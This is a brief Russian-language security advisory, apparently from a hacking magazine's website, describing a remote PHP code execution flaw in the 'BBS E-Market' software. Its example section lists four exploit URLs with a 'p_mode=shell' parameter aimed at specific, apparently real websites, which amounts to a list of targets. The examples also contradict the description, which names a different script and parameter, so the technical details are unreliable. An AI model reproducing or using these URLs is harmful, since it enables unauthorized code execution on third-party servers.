Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Программа: BBS E-Market
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «action» сценарием ind3x.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Примеры:
http://www.allena.co.kr/bemarket/postscript/postscript.php?p_mode=shell?
http://www.e-multishop.com/bemarket/postscript/postscript.php?p_mode=shell?
http://www.mesz.com/bemarket/postscript/postscript.php?p_mode=shell?
http://hapsung.com/bemarket/postscript/postscript.php?p_mode=shell?
